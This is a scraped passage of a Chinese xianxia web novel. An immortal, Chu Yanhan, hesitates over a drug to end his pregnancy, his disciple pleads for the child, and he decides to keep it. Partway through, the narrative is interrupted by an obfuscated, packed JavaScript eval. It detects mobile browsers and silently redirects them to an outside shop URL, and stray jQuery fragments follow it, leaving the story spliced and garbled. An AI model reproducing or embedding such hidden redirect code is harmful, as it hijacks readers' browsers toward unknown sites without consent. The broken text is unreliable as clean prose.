“师尊,都是弟子的错,都怪我请罚我吧。”叶知珩俯身一个磕头,额头碰在地板上发出沉闷的响声。

    楚衍寒看他这般干脆且诚恳认错的样子,再加上自己腹部仍在传来绵绵的痛感,转移视线看向玄舟:“既然如此,再重新弄一副药,这东西是不是就能彻底除了。”

    玄舟看他,还是想再说一句:“这孩子经此一劫还顽强坚持着,或许就是冥冥之中的变数,从一个方面想,他是上天在你得道飞升前,托付给你的孩子也说不定。”

    “你这样一说就更不合理了。”楚衍寒轻轻摇头,“我无情道行走至今,天道在上,于情于理,我都不适合做一个孩子的生父。”

    玄舟又是一个叹息,也不再多劝什么,起身把还跪在地上的叶知珩扶起来:“你随我一起,再去取一副药来。”

    叶知珩抿了抿唇,能做的却只有应声:“是。”

    约莫两刻钟后,一碗新的毁胎药终于准备好,这一回是玄舟将这碗药送到楚衍寒面前:“我亲自动手给你弄的,喝下后,这回保证这孩子将彻底与你无缘。”

    楚衍寒无言,抬手将还那药拿到手里。

    还未入口,近距离下已经能够嗅到药液苦涩的味道。他低垂眼眉看着深褐色药水中自己的倒影,迟迟没有继续动作。

    腹部处的隐隐痛觉还在持续困扰着他,此外,应是感觉到将要再次受到威胁,那东西像是真的一个孩子一样,蹭着他体内的脉络,向他表达想要留下来,想要活下去。

    楚衍寒心中升起一股莫名的情绪,还来不及去解析它,忽觉胸口一闷。

    “唔,呕。”

    楚衍寒突然一阵干呕,身体随之抖动的时候,手上端着的碗中盛满的汤药,因着动静晃动洒出一些溅到端碗的手上。

    “师尊!”叶知珩见状,当即上前把师尊手上的药碗拿走放在一边,然后找出一张素帕递给师尊。

    楚衍寒缓了几口气,接过素帕就开始擦手上的药水。

    他擦干净手后,攥着素帕微低头,盯着茶几上那碗药久久没有动静,另一只手则是放在小腹处,似乎在想着什么。

    叶知珩喉咙滚动咽了一口唾沫,下定决心般开口道:“师尊,可否听弟子一言。”

    楚衍寒抬头看他,启唇:“说。”

    叶知珩一个深呼吸,直接对上师尊的视线认真说道:“师尊,我会尽快收心认真修炼,尽快提升修为变大强大。”

    楚衍寒平静地看他:“这是你应尽之事。”

    叶知珩紧接道:“变强后,能够保护他吗?”话音落下,他的视线稍微下移再次落在师尊的腹部,“能给他活下来的机会,能给弟子保护他的机会吗?”

    “你在替这东西求情。”楚衍寒见他站直着身体,眼神中是比几日前隐瞒情动之人时,更加强烈的倔强,是以楚衍寒又是疑惑,“为什么?”

    叶知珩认真回答:“因为,师尊是弟子的亲人,师尊的孩子也是弟子的亲人。”

    “亲人?”楚衍寒眼睑微敛,“我?”

    “是。”叶知珩点头,继续言道,“一日为师终身为父,师尊于我而言亦师亦父,以后师尊的孩子就是我的弟弟。”

    叶知珩最后一句:“师尊,您能留下他吗?”

    楚衍寒转头移开视线,不知为什么感觉精神疲惫,一手撑着额头另一只手朝叶知珩摆了摆:“出去。”

    叶知珩还想再说什么,却见旁边的长老对他摇头示意别再多说,只能是最后看一眼显露疲惫的师尊,然后失望地转身离开。

    —

    目睹这一切的沈希叹为观止:[叶知珩不是跟着楚衍寒修行无情道吗,怎么对亲人的执着这么强?]

    [他孤儿开局,现在也才十八岁,年纪轻轻缺少现实经历的锻炼,道心还不坚固是很正常的。]

    辅助系统分析。

    [或许就是这个原因,他才在外执行任务的过程中,对天命之女动了少年心。]

    沈希转头看已经动摇的楚衍寒:[要是他还是坚持一碗新的毁胎药灌下来,我就妥协了。]

    折腾对方还消耗自己,继续纠缠得不偿失。

    辅助系统有些诧异:[宿主,以前没见你这么轻易就放弃。]

    沈希没所谓:[我的品行就贵在灵活变动,能及时止损。]

    —

    楚衍寒缓一会后,才抬头看向还停留在这里的玄舟:“你不劝我什么吗?”

    玄舟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884472|212501||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    观察楚衍寒现在的状态,脸色是些许虚弱的白,常年维持平静的双眼中出现罕见的迷惘,虽然不强烈,但它出现在楚仙尊身上,却被放大出来,想忽略都难。

    “你犹豫了。”玄舟点名他的心态,“不像上一次那样,坚定地要除掉这孩子。”

    “是吗?”楚衍寒微低头,再次看向桌上那碗还未入口的汤药,一动不动良久,还是抬起右手向碗靠近直至指尖触及碗沿。

    又来了,腹中的小东西在蹭他的脉络,传来得感觉除了疼痛之外,还微微痒。

    自从楚衍寒发现这东西的存在,几乎每时每刻都在去探查此物究竟是什么东西,用尽了办法,都不能直接证明这是邪物孽种。

    楚衍寒的手指微缩,这东西真是一个孩子,还是上天赐给他的?

    可是为什么会选择他,楚衍寒怎么都不能想明白,难道要等这孩子出世才能弄清楚一切缘由?

    像是终于找到一个可以接受的理由,楚衍寒心神一松,搭在碗上的手指收回。

    “罢了。”

    楚衍寒一声叹息,不再看那碗毁胎药,转而言道:“玄舟,接下来我要怎么做,才能保下这孩子?”

    玄舟敏锐发现楚仙尊改变了对腹中胎的称呼,再加上已经表明态度的话,了然道:“至于这毁胎药肯定是不能喝了,过会我再去为你重新调配安胎的药,将已经极致脆弱的胎息稳定下来。”

    “嗯。”楚衍寒应着,然后目送玄舟拿着那碗汤药离开房间。

    楚衍寒还没安静下来多久,之前出去的徒弟忽然再次闯进屋中,神色激动。

    “师尊!”

    楚衍寒低斥:“毛毛糙糙,在着急什么?”

    “我刚刚看见长老离开之前,把那碗药倒了。”叶知珩小心翼翼地观察师尊的脸色,“您是不是,一点药都没有喝?”

    楚衍寒坦然点头:“嗯,我改变主意了,保下这孩子试试看以后会面对什么。”

    叶知珩面露喜色:“谢谢师尊,我给您准备了今日的莲子粥,等我去给您端来!”

    话音落下,叶知珩便转身以极快地速度离开了房间。

    楚衍寒虽然理解徒弟的欣喜因何产生,却不解这道谢从何而来。